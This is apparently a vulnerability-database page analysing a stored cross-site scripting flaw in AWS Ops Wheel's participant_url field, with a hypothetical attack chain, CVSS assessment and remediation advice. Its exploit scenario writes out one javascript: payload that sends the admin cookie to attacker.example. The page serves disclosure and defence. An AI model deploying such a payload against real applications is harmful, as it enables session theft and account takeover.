Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Ops Wheel with low-privilege account
-
DeliverySubmit participant entry with javascript: URI in participant_url field
-
ExploitPayload persisted in application datastore
-
InstallAdministrator views participant list or detail page
-
C2Stored XSS executes in admin browser context
-
ExecuteAdmin session token exfiltrated to attacker-controlled server
-
ImpactAttacker replays token to assume full admin control
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold a valid authenticated account on the target AWS Ops Wheel instance (CVSS PR:L) with sufficient permissions to create or modify participant entries - this is not exploitable by unauthenticated remote users. Additionally, a victim user with a higher privilege level (ideally an administrator) must actively view the page rendering the poisoned participant_url (CVSS UI:A); without victim interaction, the stored payload does not execute. The dangerous URI scheme must not be stripped or blocked by any upstream reverse proxy or CSP policy in the deployment. Exploitation is limited to self-hosted instances of AWS Ops Wheel - there is no indication this affects any managed AWS service. The non-default condition is the attacker already possessing a low-privilege account, which limits opportunistic internet-scale exploitation. |
| Impact | The CVSS 4.0 score of 6.2 (vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N) fairly represents the real-world risk profile: the high subsequent-system impact (SC:H/SI:H) reflects the potential for full admin takeover, but exploitation is gated behind two prerequisites - authenticated access (PR:L) and a victim administrator actively viewing the poisoned entry (UI:A) - which substantially reduce the likelihood of opportunistic mass exploitation. No EPSS score was provided in the input data, so exploitation probability cannot be quantified. There is no CISA KEV listing and no public proof-of-concept identified, indicating no confirmed active exploitation campaign. The most realistic threat actor is a malicious insider or a compromised low-privilege account seeking privilege escalation within an organization's deployed Ops Wheel instance. The gap between raw CVSS subsequent-system severity and actual exploitability reflects a genuine but bounded risk - serious within scope but not a widespread internet-facing threat. |
| Exploit ScenarioDerived | An attacker with a low-privilege authenticated account submits a participant entry whose participant_url field contains a javascript: URI (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)) and saves it to the application. When an administrator subsequently opens the participant list or detail view, the stored payload executes silently in their browser, transmitting the admin session cookie to the attacker's server. With the stolen token, the attacker replays the session and assumes full administrative control of the Ops Wheel instance without needing to know the admin's credentials. No public proof-of-concept is confirmed, but this is a straightforward stored XSS pattern requiring no specialized tooling. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 31, 2026
Stored cross-site scripting in AWS Ops Wheel's participant URL handling allows an authenticated user to inject persistent malicious JavaScript via a crafted participant_url containing a dangerous URI scheme (e.g., javascript:). When a higher-privileged user - most critically an administrator - views the affected participant entry, the payload executes in their browser, enabling session token theft and full administrative takeover of the deployed instance. No public exploit or active exploitation has been identified at time of analysis; remediation requires redeployment from the latest source incorporating PR #168.
RemediationAI
Upstream fix available via PR #168; no independently confirmed tagged release version was provided in the advisory data. Organizations should redeploy AWS Ops Wheel from the latest source on the main branch, which incorporates the fix for participant_url sanitization, per the vendor advisory at https://aws.amazon.com/security/security-bulletins/2026-068-aws/. As a compensating control prior to redeployment, administrators should restrict write access to participant entries to the most trusted users only, reducing the attacker's ability to plant a payload. Additionally, Content Security Policy (CSP) headers can be evaluated for deployment to block inline script execution and dangerous URI schemes, though this requires application-level configuration and may not be available in all deployment configurations of this tool. Monitoring audit logs for unexpected participant_url values containing 'javascript:' or 'data:' substrings can serve as a detection measure.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CWE-79 (Improper Neutralization of Input During Web Page Generation) describes the root cause: the participant_url field is rendered back into the page without adequate sanitization of URI schemes, permitting javascript: or data: URI payloads to be stored and later executed. AWS Ops Wheel (CPE: cpe:2.3:a:aws:aws_ops_wheel:*:*:*:*:*:*:*:*) is an open-source Amazon-maintained web application for managing on-call rotations and team spin-wheels. The CVSS 4.0 vector explicitly models this as a scope-affecting flaw - vulnerable system impact is nil (VC:N/VI:N/VA:N) but subsequent system impact is high (SC:H/SI:H), reflecting that the exploit targets the victim's browser session rather than the server directly. The attack requires low privileges (PR:L) and active user interaction from a victim (UI:A), consistent with a stored XSS that only fires when viewed.
Know when AWS gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Network-reachable app, low-privilege auth required, scope changes to victim browser with high confidentiality (session token) and integrity (admin takeover) impact.
Primary rating from Vendor (AMZN).
CVSS VectorVendor: AMZN
Lifecycle Timeline
2DescriptionCVE.org
Stored cross-site scripting in the participant URL handling in AWS Ops Wheel before PR #168 might allow an authenticated remote user to steal session tokens and escalate to full administrative control of the deployed instance via a crafted participant_url value containing a dangerous URI scheme.
To remediate this issue, users should redeploy from the latest version of aws-ops-wheel.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Loom for AWS deployments running a version before 1.6.1 with no identity provider configured expose an unauthenticated s
Unauthorized data access in Budibase low-code platform before 3.30.4 allows unauthenticated users to manipulate internal
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
Multiple vulnerabilities in ASTPP 4.0.1 including XSS and command injection in SIP device configuration and plugin manag
Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on
Remote code execution in AWS AgentCore CLI before v0.14.2 allows authenticated attackers to inject Python code via craft
Denial of service in the aws-smithy-json Rust runtime crate (versions before 0.62.7) lets remote unauthenticated attacke
Denial of service in Amazon's aws-smithy-http-server Rust crate (versions prior to 0.66.5) lets remote unauthenticated a
Argument injection in the AWS Bedrock AgentCore Python SDK before 1.18.1 lets a remote authenticated user run arbitrary
Arbitrary file read in amazon-mq rabbitmq-aws before 0.2.1 allows authenticated remote users to read any file accessible
WAF managed-rule body inspection on AWS Application Load Balancer (ALB) can be bypassed by remote actors who fragment an
WAF inspection bypass in Amazon CloudFront (with AWS WAF enabled) lets remote actors smuggle malicious request bodies pa
EUVD-2026-51594
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB